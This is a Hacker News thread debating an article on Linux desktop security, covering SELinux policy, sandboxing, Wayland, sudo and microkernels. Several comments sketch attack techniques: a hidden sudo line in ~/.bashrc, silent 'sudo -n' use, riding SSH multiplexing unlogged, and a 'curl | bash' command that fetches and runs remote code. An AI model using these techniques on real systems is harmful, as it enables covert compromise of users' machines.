Linux (In)Security | Hacker News Reader

Linux (In)Security

madaidans-insecurities.github.io

53 pointsdjsumdog49 comments

I wonder if Redox (rust OS project) will take off one day.

A lot of the goals of the project seem to line up well with dealing with issues noted in the post.

A huge endeavour of course - to build an OS from the ground up. I hope they get there.

ref: https://doc.redox-os.org/book/ch01-03-our-goals.html?highlig...

"Redox is an attempt to make a complete, fully-functioning, general-purpose operating system with a focus on safety, freedom, reliability, correctness, and pragmatism.

We want to be able to use it, without obstructions, as an alternative to Linux on our computers. It should be able to run most Linux programs with only minimal modifications.

We're aiming towards a complete, safe Rust ecosystem. This is a design choice, which hopefully improves correctness and security (see Why Rust).

We want to improve the security design when compared to other Unix-like kernels by using safe defaults and disallowing insecure configurations where possible."

Agreed, Linux is way behind in kernel and userland hardening. Things are slowly getting better, with some of grsec/PaX's features being merged upstream [0] and X being slowly replaced by wayland (but it still has issues before mass adoption). SELinux/Apparmor fix some issues, but their policies are not restrictive enough (and when they are, they get disabled because they're too user-unfriendly).

Android did a good job integrating SELinux in their ecosystem to provide some sort of sandbox, I wish there were similar project for desktop Linux, but it seems only Redhat cares about SELinux in the OSS world (and they don't seem to have this kind of project in the works).

sudo is Linux's UAC, and I agree that it is insecure, but its use is optional and with good selinux policies, you shouldn't be able to highjack it like in the OP (unfortunately, there are no good, easy-to-use selinux policies)

Linux has too big an attack surface IMO and I wish microkernels like GNU/Hurd or seL4 would become more popular, but, like most things in OSS, there are not enough people interested.

[0] https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...

Much of my job is based on writing SELinux policy. The problem is that SELinux is not well suited to the needs of a desktop environment. Consider a web browser. Ideally, it should not be able to read any local files (except its own). But sometimes, users want to use web browsers on local files; and sometimes users want to save/download web resources to arbitrary locations, so you end up needing to give browsers those permissions anyway.

Redhat's approach is a targeted policy. Users and user applications run in an unconfined domain, while system and services run in a secured domain.

Android uses a similar approach where SELinux provides system level protection (as well as application level isolation). However, the security model most people (even Android app developers) are familiar with is not SELinux. The difference between an app that has permission to use the microphone and one that does not is not SELinux. It is implemented by a userspace security manager.

I am not fammilar with Apparmor, but I do not see how any solution based on the Linux kernel's security module system would be adequate. The type of security needed for a desktop system requires a lot of userspace work.

> But sometimes, users want to use web browsers on local files

Well, that's just risky computer usage. I'd think it's a reasonable compromise, if users would copy files into a specific up/download folder for the web browser to access. Such can be enforced with, e.g. firejail. Clearly this is slightly inconvenient, but security has always been at odds with convenience and always will be.

I've done this and it is quite the hassle imo

I've experience this too while writing policies, but firefox could open an unconfined file manager which is like a "selinux setuid", where it asks the user what to do and change the mcs level of a file until it is written to/read. I don't think this is unsolvable.

Edit: actually, that file manager could pass an open fd to firefox, I'm not sure how that would work policy-wise

Or maybe a hook could be added to the kernel in the looks of "if mozilla_t is denied access to user_home_t, execute /usr/bin/notify and if it returns 0 allow it for this time"

You can kind of do that already using SELinux booleans.

In policy, have something like:

  if (mozilla_read_user_home) {
    allow mozilla_t user_home_t:file read_file_perms;
  }

Then, firefox could execute /usr/bin/request_file_access user_home_t read

request_file_access could then be spawned in a privileged domain and:

1) Check the domain of the parent process and see that it is mozilla_t

2) Check whatever security policy it wants to implement (possibly by prompting the user)

3) Assuming the access is allowed, set the mozilla_read_user_home variable to true (and set a timer to disable it at some point in the future)

4) firefox then can open the file normally.

Keep in mind that denials actually happen quite frequently on many SELinux systems, and policy is usualy written to not even log the expected ones. Any hook that needs to run on every denial would likely introduce unacceptable performance hits; particuarly if it needs to spawn another process.

Assuming the file-manager is a typical program that firefox spawn's by calling some form of exec on the relevent executable, it is quite resonable within SELinux for that file-manager to run in a different domain [0]. At this point, that file manager becomes part of the user-space security model I was talking about, where it acts as the gate-keeper of access.

Using MCS is interesting here. It still the problem that it involves relabeling files as a matter of course, which is generally frowned upon. From a practical perspective, this type of relabeling would turn into effectivly a lock [0.5] on the file, where no other "confined" domain can access it. The plus side of using catagories is that you can run all of the applications in the same (or one of a pre-determined set) of application domains while keeping them isolated [1]. This has the side benifit of avoid the issue of applications loading new policy as they are being installed. [2]

My instinct for the problem is to, as your edit suggests, leverage file descriptors. From a non-SELinux perspective, I have never passed file descriptors other than parent -> child, but it appears you can do so with unix sockets [3]. From a policy perspective, there are three sets of permissions that are relevent:

1) Permission to read/write to arbitrary user files. Both firefox and the file manager would need these

2) Permission to open arbitrary user files. Only the file manager would need this; firefox should not have it.

3) Permission to use file descriptors opened by the file manager. Firefox would need this.

When I do a policy analysis, I generally assume that having (1) grants full access to the file; however if your security model dependent on it, there is no reason you could not restrict file access by leveraging (2) and (3).

The userspace implementation would be more complicated than the policy. For example, in the case of a local webpage, firefox does not want to open just a single file, but also any resource file that that file requires (and files that it links to and those resource files). So, what would need to happen is:

1) Firefox spawns file-manager

2) User selected *.html file from local file system

3) Firefox reads selected file and creates a list of resource files it needs to read

4) Firefox spawns file manager and requests read access to resource files.

5) ???

6) File manager either grants or denies access to the resource files.

The hard part is step 5, which is implemented entirely in userspace.

[0] I wouldn't go so far as to say it should run in an unconfined domain, since it should be restricted from, for example, network access.

[0.5] Not a very good lock either; SELinux does not handle access revocation very well.

[1] This is the approach Android takes.

[2] SELinux does have a module system; however there is no mechanism to limit what permissions a module can add.

[3] http://man7.org/linux/man-pages/man7/unix.7.html See SCM_RIGHTS

It doesn't have to be a lock, since MCS can have (AFAIK) 1023 different categories and multiple processes can access the same resource depending on their categories

EDIT: Good point about requesting related resources though, not sure how you'd go about that (I'm not even sure you'd actually want that either since you could include '../../../etc/passwd' or something as an <img> tag)

1023 is the limit. If you can fit within 1023, then a simple MCS policy could work without lock-like implications.

Android works around the 1023 limit by giving each app a set of categories. This works when a file can only ever be owned by 1 app, but becomes more difficult when multiple owners are possible.

E.G. If you want to grant access to the catagory set c1,c10,c20 and c5,c15,c25 then you need to make sure there is nothing running as c1,c15,c20. This is probably doable, but I have not worked out what is does to the effective number of catagories you could have.

> EDIT: Good point about requesting related resources though, not sure how you'd go about that (I'm not even sure you'd actually want that either since you could include '../../../etc/passwd' or something as an <img> tag)

The answer is in step 5. Somehow, the userspace security manager needs to know that firefox is not allowed to use ../../../etc/passwd, but is (maybe?) allowed to use ../index.html.

As I said. SELinux can be an effective component of a secure desktop system. But you need to overlay it with some other security system; and at this point no one has figured out what that security system should look like from a user perspective.

The author suggests that security has to be enforced by the system itself, i.e. by the usage of an appropriate programming language, security tools (e.g. sand-boxing, ...) and other. However, the author's comment fell short to honor the history of the kernel development, specify user applicability and discuss any improvements. I partly agree with the author, but "default" settings are a very sensitive topic (why he doesn't provide any suggestions?) and hardly to answer for every application scope.

I don't think that Linux is more secure "than any other OS". First, we have a wide variety of Linux desktops. Second, when required, experienced (!) system administrators/business vendors invest a lot of time in order to get their system secure. However, (unexperienced) "home users" are at disadvantage, because of lack of knowledge. They would/will suffer from the perception of an superior security notion of Linux. We have to get that right. That's it.

To give some context on the perspective this piece is written from, since the article doesn't provide a disclaimer -- the author is a developer of Whonix.

I've read through the author's blog recently it got posted here. Author refers to many pseudo-weaknesses but does not accept that that's simply the current state of things and there's work to be done to make it better. IOW, author doesn't offer any alternative except implied use "Windows/Mac/Chrome because they say it's secure". I'm all about software rants, but you have to approach the problem from all sides instead of bitching like a teenager.

Let's evaluate this one:

> On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root [...SNIP...]

So author here probably means access to sudo where the account has the right to become root. Once someone compromises your account... well, that's it. The rest of the text is just garbage, many things are taken completely out of context. Once an attacker can run under your account she can just for instance append 'sudo /bin/.doevilstuff' to your ~/.bashrc.

be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed.

Here is an example:

  curl -s https://ohblog.org/test.txt | bash

Read the test.txt file first of course.

Why does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...

Absolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.

> implied use "Windows/Mac/Chrome because they say it's secure"

Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.

Hardening a side for most users Linux distributions however offer a different practical security advantage. While on Windows/macOS despite their apps stores it is still quite common to download applications from shady websites while in common Linux distributions most software comes from curated repositories.

This article is a piece of crap.

It is not factual but playing on baseless fears. Like that something is unsafe just because not made with last hype language. Take go for example if anything unexpected happen, this shit trigger an assert that crash everything. Is it safe?

Like the sudo example is ridiculous: the command allows you to execute a restricted command but it is not made to check your current environnement.

It is safe if you know the context you are using. But if you just arrive on the screen of someone else ans it is asking for your password, sure it is unsafe to type your password: maybe you are not even in a Real shell, maybe all are just fake screen. For example, someone can create a rigged fake webbrowser and within tell you to connect to your facebook. Then ssl check marks does not help to ensure the safety. That is an user issue and not a platform issue!

But are windows or mac osx any better?

On many of these items, yes. That's the premise of the post. It's not saying "computer science could be so much better than Linux achieves". It's saying Linux fails to achieve things that other systems do achieve.

How is Windows any better? Last I checked installing things in Windows was still a matter of downloading random .exes from the Internet and running them as administrator, so all bets are off.

And there's no sandboxing at runtime either, everything has permission to do whatever the user can do.

The subtext of most of the points in the paragraphs of this post is stuff Windows does that Linux doesn't.

I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer.

Once programs are running on the machine with the ability to put things on-screen and read keyboard input, this is a very hard problem without hardware-level SAK-like mechanisms which AFAIK no consumer devices include today.

The updated mnt reform [0] has some potential for this kind of facility with a keyboard-embedded display connected to a standalone EC and a dedicated button on the keyboard for notifying the EC without the host's involvement. This should enable an actual SAK-like mechanism, where the EC takes over the keyboard for security-sensitive actions like password entry:

  > The keyboard not only works as a USB HID device, but it also has a direct UART
  > cable connection to the system controller on the motherboard. By pressing the
  > circle key, you can interact directly with the system controller, bypassing
  > the main SoC. To give you visual feedback for this interaction, we added a
  > tiny 128 x 32 pixel OLED on top of the keyboard. From here, you can check
  > charger and battery cell status/health without any operating system support on
  > the main SoC (even while you’re still installing an OS). The keyboard OLED and
  > direct interaction mechanism has more potential future uses, like a password
  > manager/wallet or notification display.

It's a non-trivial problem even with hardware assistance, without any it seems impossible.

[0] https://www.crowdsupply.com/mnt/reform

> I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer.

Qubes OS can. Though it's not for the average users.

It's more that it makes said sudo much less effective. You still can get tricked inside the VM or a canny enough attacker will find a bypass for VM security.

It is a somewhat higher bar though.

The point is moot, as the most destructive attacks are ransomware, which this limits but does not prevent, website ID (login, address, credit card) and data theft, phishing and scams. None of which is prevented by Qubes.

Evil maid attacks are frustrated though if you install its extra security features.

However, it is wise to remember that security is as strong as the weakest link, so do use it if you're an admin or dev.

> The point is moot, as the most destructive attacks are ransomware, which this limits but does not prevent

Qubes OS assumes (promotes and helps with) that you do not open random links inside your banking or important VM. You can even open links automatically in a disposable VM upon a mouse click. It should help here I guess.

> bypass for VM security

VT-d virtualization was broken only once by a software attack. An it was done by the Qubes founder.

Unfortunately in reality Windows doesn’t do much better. For instance the author likes to harp on about the insecurity of X11 while on Windows GUI programs have rather similar levels of access to each other, including to APIs that have impossible to fix buffer overflows that stem from their 80s style design.

Yes there is a (semi) Secure Attention Key but it isn’t required in many cases such as while requesting consent for elevation and you can set it to required but it comes with a warning that that breaks important things (and it does).

Windows provides facilities to avoid that up to the UWP sandbox.

Really?

> The kernel is also very lacking in security. It is a monolithic kernel written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time. The kernel is also decades behind in exploit mitigations and many kernel developers simply do not care enough.

Are you part of some community that gets access to Windows/MacOS kernel sources to search for vulnerabilities? Or are you getting reports about such vulnerabilities from Microsoft/Apple?

I think not. I think that you're basing this argument on the amount of stuff you get to see online. Given that Linux Kernel lives under GPL that's expected.

I'm not saying that Linux Kernel is holy and we should all bow and refrain from criticism. But you're judging it completely out of context.

>I think that you're basing this argument on the amount of stuff you get to see online

I think you are incorrect, and your comment is not really within the site guidelines.

He has done security work on all that you mention above, and many others.

One of the questions that I did not answer is

>Really?

My last sentence answers your question framed as an accusation.

And it is not an appeal to authority, it is an appeal to published, verifiable experience. You can see this for yourself if you explore his comment history, or google for security research he published.

I'm not an expert on windows or mac, but here's my run-down:

> There is no strong sandboxing in the standard desktop.

I don't know of any strong sandboxing in Windows or Mac OSX, but that could just be my ignorance.

> Most programs are written in memory unsafe languages such as C or C++

This is true on windows and Mac as well (let's include objective-c in there).

> It is a monolithic kernel written entirely in a memory unsafe language

Also true of windows and Mac.

> has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time

I don't know enough to comment on this.

> a compromised non-root user account with access to sudo is almost equal to full root compromise

Is this any different on windows or mac? Mac has sudo as well, and on windows, the main user is typically an administrator.

> X’s lack of GUI isolation

well, yeah. I don't know what the situation is like in windows and mac for this. But one of wayland's design goals is to fix this (although it also breaks things like screencasting...)

Screencasting works great in wayland. You'll need different applications though because the protocol is fundamentally different.

It works ok, with some applications on some compositors. But firefox needs to be built with patches for webrtc to work. Zoom only works on gnome (it uses a gnome-specific dbus api). Sway requires running xdg-desktop-portal-wlr, which is still very much a work in progress. afaik there isn't any way to screencast a specific window. Tl;dr; it sorta works, but not as well as it did in X.

> > It is a monolithic kernel written entirely in a memory unsafe language > Also true of windows and Mac.

I believe Windows is hybrid kernel not a monolithic one.

https://en.m.wikipedia.org/wiki/Hybrid_kernel

as I understand it, a hybrid kernel doesn't have a security advantage over a monolithic kernel, because the drivers/modules are still running in kernel space (as opposed to running in user-space in a true microkernel).

> Due to inevitable pedanticism, "Linux" in this article refers to a standard Linux or GNU/Linux distro.

I too sadly realize the dire need to post such disclaimers. Boy, these people are boring sometimes...

What is the point of wayland-keylogger[1] that is linked in the article? Do Wayland compositors normally run under a different user account than the one that logged in via the login manager? I see this as being an issue with full filesystem (or just home) access given to applications, but I don't see how LD_PRELOAD is the problem here. Yet the author of TFA seems to suggest that this is the issue.

[1]: https://github.com/Aishou/wayland-keylogger

> the attacker can just setup their own fake sudo program to grab the user password.

I've thought about that vulnerability a lot using enterprise SSO apps: it would be trivial for anybody inside a corporate firewall to set up, say, a ticketing app that presented an SSO sign-in box, recorded whatever was input, but responded to everything as success. An attacker could harvest a LOT of passwords that way before being caught.

That's why ideally you redirect people to the identity provider and teach users never to enter their password elsewhere.

I wonder what the author thinks about grsecurity [0], and about the Kernel Self Protection Project [1]

0: https://www.grsecurity.net/

1: https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...

The better comparison is to Qubes.

Or Chrome OS. It's very different from the traditional GNU OS which allows it to be more secure but also more restricting in user freedoms.

When can microkernels finally become a reality?

The previous complaints was that it was always slower than a monolithic kernel. But with all the multicores, memory, and SSD storage available today, then at some point, the extra processing becomes irrelevant.

- Spectre's mitigation are probably extra painful for microkernels. - AFAIK the most secure microkernel is SeL4, but AFAIK it isn't proven for multiple cores, and I wouldn't be surprised if (some) low-power settings of CPUs would give him troubles.

And ultimately none of the microkernels has a credible set of drivers for a typical PC, much less verified ones.

Drivers are a huge hole, especially easily accessible ones like video due to 3D APIs.

Reply on news.ycombinator.com